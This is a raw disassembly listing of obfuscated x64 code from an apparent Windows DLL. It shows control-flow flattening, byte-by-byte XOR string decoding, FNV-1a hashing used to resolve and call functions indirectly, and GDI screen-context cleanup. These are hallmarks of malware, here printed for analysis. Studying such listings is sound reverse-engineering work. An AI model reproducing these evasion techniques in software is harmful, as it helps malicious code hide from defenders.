mov r12d, 0x3d388a82
jmp 0x1800022e0
mov dword [rbp + 0x3e70], r14d
mov qword [rbp + 0x3e90], rdi
mov ecx, dword [rbp + 0x3e60]
mov esi, dword [rbp + 0x3e70]
cmp esi, ecx
mov r12d, 0x9067d15
cmovb r12d, r10d
jmp 0x1800022e0
mov dword [rbp + 0x3e60], ebx
mov ecx, dword [rbp + 0x3e60]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0x3ea0], ecx
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x1f
mov r12d, 0x5b4f80dc
cmovg r12d, r11d
jmp 0x1800022e0
mov ecx, dword [rbp + 0x3e88]
cmp ecx, 0x5b
setl byte [rbp + 0x3e9f]
mov r12d, 0x13a998c4
jmp 0x1800022e0
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x7f
setl byte [rbp + 0x3e6f]
mov r12d, 0x7f4902df
jmp 0x1800022e0
movsx ecx, byte [rbp + 0x3e6e]
mov dword [rbp + 0x3e88], ecx
mov ecx, dword [rbp + 0x3e88]
cmp ecx, 0x40
setg byte [rbp + 0x3e87]
mov r12d, 0xa798a1ff
jmp 0x1800022e0
mov r12d, 0x4be7891d
xor ebx, ebx
jmp 0x1800022e0
cmp byte [rbp + 0x3e87], 0
mov r12d, 0x94f841a0
cmovne r12d, r8d
jmp 0x1800022e0
mov r12d, 0xdc1cecb0
mov edx, dword [rbp + 0x3e78]
jmp 0x1800022e0
mov r12d, 0xe75dcd98
jmp 0x1800022e0
mov r12d, 0x4be7891d
mov ebx, dword [rbp + 0x3ea4]
jmp 0x1800022e0
mov r12d, 0x536d4b7d
jmp 0x1800022e0
cmp byte [rbp + 0x3e9f], 0
mov r12d, 0x94f841a0
cmovne r12d, r9d
jmp 0x1800022e0
cmp r12d, 0x9067d15
jne 0x1800022e0
mov rcx, qword [rbp + 0x3e90]
call fcn.1800ae820
mov r8d, dword [rbp + 0x3e5c]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3e58]
mov r13, qword [rbp + 0x3e48]
mov rcx, r13
mov rdx, qword [rbp + 0x3e50]
call rax
lea rsi, [rbp - 0x30]
mov qword [rbp + 0x3e88], rsi
mov rax, qword [rbp + 0x3e88]
mov byte [rax], 0x51
mov rax, qword [rbp + 0x3e88]
add rax, 1
mov qword [rbp + 0x3e78], rax
mov dword [rbp + 0x3e70], 0x43
mov eax, 0xdf2ed9e1
nop dword [rax + rax]
cmp eax, 0xb10702bd
je 0x180002702
cmp eax, 0xdf2ed9e1
jne 0x1800026b0
mov eax, 0xa36df38f
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x22e1b43c
je 0x1800026ec
cmp eax, 0xa36df38f
jne 0x1800026d0
mov qword [rbp + 0x3e90], rsi
mov eax, 0x22e1b43c
jmp 0x1800026d0
mov rax, qword [rbp + 0x3e90]
mov al, byte [rax]
mov byte [rbp + 0x3e60], al
mov eax, 0xb10702bd
jmp 0x1800026b0
mov al, byte [rbp + 0x3e60]
mov ecx, dword [rbp + 0x3e70]
xor cl, al
mov rax, qword [rbp + 0x3e78]
mov byte [rax], cl
mov edx, 0xa2a51931
mov eax, 0x33f44a89
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x33f44a88
jg 0x1800027d0
cmp edx, 0x88f87884
je 0x180002854
cmp edx, 0xa2a51931
jne 0x180002730
mov rdx, qword [rbp + 0x3e78]
mov dword [rbp + 0x3ea4], WSAStartup
mov ebx, 0xdf2ed9e1
nop word cs:[rax + rax]
cmp ebx, 0xb10702bd
je 0x18000286f
cmp ebx, 0xdf2ed9e1
jne 0x180002770
mov ebx, 0xa36df38f
nop dword [rax]
cmp ebx, 0x22e1b43c
je 0x1800027ae
cmp ebx, 0xa36df38f
jne 0x180002790
mov qword [rbp + 0x3e90], rsi
mov ebx, 0x22e1b43c
jmp 0x180002790
mov rbx, qword [rbp + 0x3e90]
mov bl, byte [rbx]
mov byte [rbp + 0x3ea0], bl
mov ebx, 0xb10702bd
jmp 0x180002770
cmp edx, 0x33f44a89
je 0x180002cc5
cmp edx, 0x3edb0958
jne 0x180002730
mov rcx, qword [rbp + 0x3e60]
mov dword [rbp + 0x3ea4], reloc.WS2_32.dll_WSAStartup
mov edx, 0xdf2ed9e1
nop
cmp edx, 0xb10702bd
je 0x1800028f4
cmp edx, 0xdf2ed9e1
jne 0x180002800
mov edx, 0xa36df38f
nop dword [rax]
cmp edx, 0x22e1b43c
je 0x18000283e
cmp edx, 0xa36df38f
jne 0x180002820
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002820
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002800
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x3e70]
mov edx, 0x88f87884
cmove edx, eax
jmp 0x180002730
mov bl, byte [rbp + 0x3ea0]
mov edi, dword [rbp + 0x3ea4]
xor dil, bl
mov byte [rdx + 1], dil
add rdx, 2
mov qword [rbp + 0x3e60], rdx
mov dword [rbp + 0x3ea4], WSAStartup
mov edx, 0xdf2ed9e1
nop dword [rax]
cmp edx, 0xb10702bd
je 0x180002974
cmp edx, 0xdf2ed9e1
jne 0x1800028a0
mov edx, 0xa36df38f
nop dword [rax]
cmp edx, 0x22e1b43c
je 0x1800028de
cmp edx, 0xa36df38f
jne 0x1800028c0
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x1800028c0
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x1800028a0
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 1], bl
mov dword [rbp + 0x3ea4], 0x65
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002995
cmp edx, 0xdf2ed9e1
jne 0x180002920
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x18000295e
cmp edx, 0xa36df38f
jne 0x180002940
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002940
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002920
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov rdx, qword [rbp + 0x3e60]
mov byte [rdx], bl
mov edx, 0x3edb0958
jmp 0x180002730
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 2], bl
mov dword [rbp + 0x3ea4], 0x48
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002a14
cmp edx, 0xdf2ed9e1
jne 0x1800029c0
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x1800029fe
cmp edx, 0xa36df38f
jne 0x1800029e0
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x1800029e0
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x1800029c0
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 3], bl
mov dword [rbp + 0x3ea4], 0x61
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002a94
cmp edx, 0xdf2ed9e1
jne 0x180002a40
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x180002a7e
cmp edx, 0xa36df38f
jne 0x180002a60
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002a60
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002a40
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 4], bl
mov dword [rbp + 0x3ea4], WSAStartup
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002b14
cmp edx, 0xdf2ed9e1
jne 0x180002ac0
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x180002afe
cmp edx, 0xa36df38f
jne 0x180002ae0
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002ae0
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002ac0
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 5], bl
mov dword [rbp + 0x3ea4], 0x64
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002b94
cmp edx, 0xdf2ed9e1
jne 0x180002b40
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x180002b7e
cmp edx, 0xa36df38f
jne 0x180002b60
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002b60
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002b40
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 6], bl
mov dword [rbp + 0x3ea4], WSAStartup
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002c14
cmp edx, 0xdf2ed9e1
jne 0x180002bc0
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x180002bfe
cmp edx, 0xa36df38f
jne 0x180002be0
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002be0
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002bc0
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 7], bl
mov dword [rbp + 0x3ea4], 0x65
mov edx, 0xdf2ed9e1
nop word cs:[rax + rax]
nop
cmp edx, 0xb10702bd
je 0x180002c94
cmp edx, 0xdf2ed9e1
jne 0x180002c40
mov edx, 0xa36df38f
nop word cs:[rax + rax]
nop
cmp edx, 0x22e1b43c
je 0x180002c7e
cmp edx, 0xa36df38f
jne 0x180002c60
mov qword [rbp + 0x3e90], rsi
mov edx, 0x22e1b43c
jmp 0x180002c60
mov rdx, qword [rbp + 0x3e90]
mov dl, byte [rdx]
mov byte [rbp + 0x3ea0], dl
mov edx, 0xb10702bd
jmp 0x180002c40
mov dl, byte [rbp + 0x3ea0]
mov ebx, dword [rbp + 0x3ea4]
xor bl, dl
mov byte [rcx + 8], bl
add rcx, 9
mov rdx, qword [rbp + 0x3e88]
add rdx, 0xd
mov qword [rbp + 0x3e70], rdx
mov edx, 0x88f87884
jmp 0x180002730
lea rcx, [rbp - 0x30]
call fcn.180003120
mov esi, 0x33441fd
mov r8d, 0xc55f42c0
mov r9d, 0x44ae6cdf
mov r10d, 0xa2c3fecf
mov r11d, 0xc6270bf4
movabs r12, 0xcbf29ce484222325
mov r14d, 0xb3daae30
jmp 0x180002d10
mov esi, 0xdc1cecb0
mov r15d, dword [rbp + 0x3e88]
nop dword [rax]
cmp esi, 0x13a998c3
jle 0x180002d60
cmp esi, 0x4bb9cd4c
jle 0x180002dd0
cmp esi, 0x5b4f80db
jg 0x180002e69
cmp esi, 0x4bb9cd4d
je 0x180002f18
cmp esi, 0x4be7891d
je 0x180002f41
cmp esi, 0x536d4b7d
jne 0x180002d10
mov esi, 0x4bb9cd4d
xor ecx, ecx
mov rdi, r12
jmp 0x180002d10
cmp esi, 0xc55f42bf
jle 0x180002e20
cmp esi, 0xe75dcd97
jg 0x180002ea2
cmp esi, 0xc55f42c0
je 0x180002f6e
cmp esi, 0xc6270bf4
je 0x180002f88
cmp esi, 0xdc1cecb0
jne 0x180002d10
movsxd rdi, r15d
xor rdi, qword [rbp + 0x3e90]
movabs rcx, 0x100000001b3
imul rdi, rcx
mov ecx, dword [rbp + 0x3e70]
add ecx, 1
mov esi, 0x4bb9cd4d
jmp 0x180002d10
cmp esi, 0x3d388a81
jle 0x180002ec4
cmp esi, 0x3d388a82
je 0x180002fa2
cmp esi, 0x3db06820
je 0x180002fc9
cmp esi, 0x44ae6cdf
jne 0x180002d10
mov edx, dword [rbp + 0x3e88]
or edx, 0x20
mov dword [rbp + 0x3e78], edx
mov esi, 0xb22ad937
jmp 0x180002d10
cmp esi, 0xa798a1fe
jle 0x180002ee6
cmp esi, 0xa798a1ff
je 0x180002fd5
cmp esi, 0xb22ad937
je 0x180002fea
cmp esi, 0xb3daae30
jne 0x180002d10
mov esi, dword [rbp + 0x3e60]
add esi, 1
mov dword [rbp + 0x3ea4], esi
mov esi, 0x3803e938
jmp 0x180002d10
cmp esi, 0x5b4f80dc
je 0x180002ffb
cmp esi, 0x60093e63
je 0x180003005
cmp esi, 0x7f4902df
jne 0x180002d10
cmp byte [rbp + 0x3e6f], 0
mov esi, 0x5b4f80dc
cmovne esi, r14d
jmp 0x180002d10
cmp esi, 0xe75dcd98
je 0x180003015
cmp esi, 0x33441fd
jne 0x180003034
mov esi, 0x3db06820
jmp 0x180002d10
cmp esi, 0x13a998c4
je 0x18000301f
cmp esi, 0x3803e938
jne 0x180002d10
mov esi, 0x60093e63
jmp 0x180002d10
cmp esi, 0x94f841a0
je 0x180002cfd
cmp esi, 0xa2c3fecf
jne 0x180002d10
mov edx, dword [rbp + 0x3e70]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x3e6e], dl
mov esi, 0x3d388a82
jmp 0x180002d10
mov dword [rbp + 0x3e70], ecx
mov qword [rbp + 0x3e90], rdi
mov esi, dword [rbp + 0x3e60]
mov edx, dword [rbp + 0x3e70]
cmp edx, esi
mov esi, 0x9067d15
cmovb esi, r10d
jmp 0x180002d10
mov dword [rbp + 0x3e60], ebx
mov esi, dword [rbp + 0x3e60]
movsx esi, byte [rax + rsi]
mov dword [rbp + 0x3ea0], esi
mov esi, dword [rbp + 0x3ea0]
cmp esi, 0x1f
mov esi, 0x5b4f80dc
cmovg esi, r11d
jmp 0x180002d10
mov edx, dword [rbp + 0x3e88]
cmp edx, 0x5b
setl byte [rbp + 0x3e9f]
mov esi, 0x13a998c4
jmp 0x180002d10
mov esi, dword [rbp + 0x3ea0]
cmp esi, 0x7f
setl byte [rbp + 0x3e6f]
mov esi, 0x7f4902df
jmp 0x180002d10
movsx edx, byte [rbp + 0x3e6e]
mov dword [rbp + 0x3e88], edx
mov edx, dword [rbp + 0x3e88]
cmp edx, 0x40
setg byte [rbp + 0x3e87]
mov esi, 0xa798a1ff
jmp 0x180002d10
mov esi, 0x4be7891d
xor ebx, ebx
jmp 0x180002d10
cmp byte [rbp + 0x3e87], 0
mov esi, 0x94f841a0
cmovne esi, r8d
jmp 0x180002d10
mov esi, 0xdc1cecb0
mov r15d, dword [rbp + 0x3e78]
jmp 0x180002d10
mov esi, 0xe75dcd98
jmp 0x180002d10
mov esi, 0x4be7891d
mov ebx, dword [rbp + 0x3ea4]
jmp 0x180002d10
mov esi, 0x536d4b7d
jmp 0x180002d10
cmp byte [rbp + 0x3e9f], 0
mov esi, 0x94f841a0
cmovne esi, r9d
jmp 0x180002d10
cmp esi, 0x9067d15
jne 0x180002d10
mov rcx, qword [rbp + 0x3e90]
call fcn.1800ae820
mov rcx, r13
call rax
mov r15, qword [rbp + 0x3e38]
mov rcx, qword [rbp + 0x3e50]
call fcn.1800b9d38
mov rcx, qword [rbp + 0x3e40]
call fcn.1800b9d38
mov r12, qword [rbp + 0x3e20]
mov rcx, r12
mov rdx, qword [rbp + 0x3e30]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, qword [rbp + 0x3e28]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov r14, qword [rbp + 0x3e18]
test r12, r12
je 0x1800030a9
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
test r14, r14
je 0x1800030ba
mov rcx, r15
mov rdx, r14
call qword [sym.imp.USER32.dll_ReleaseDC]
movaps xmm6, xmmword [rbp + 0x3eb0]
add rsp, 0x3f48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret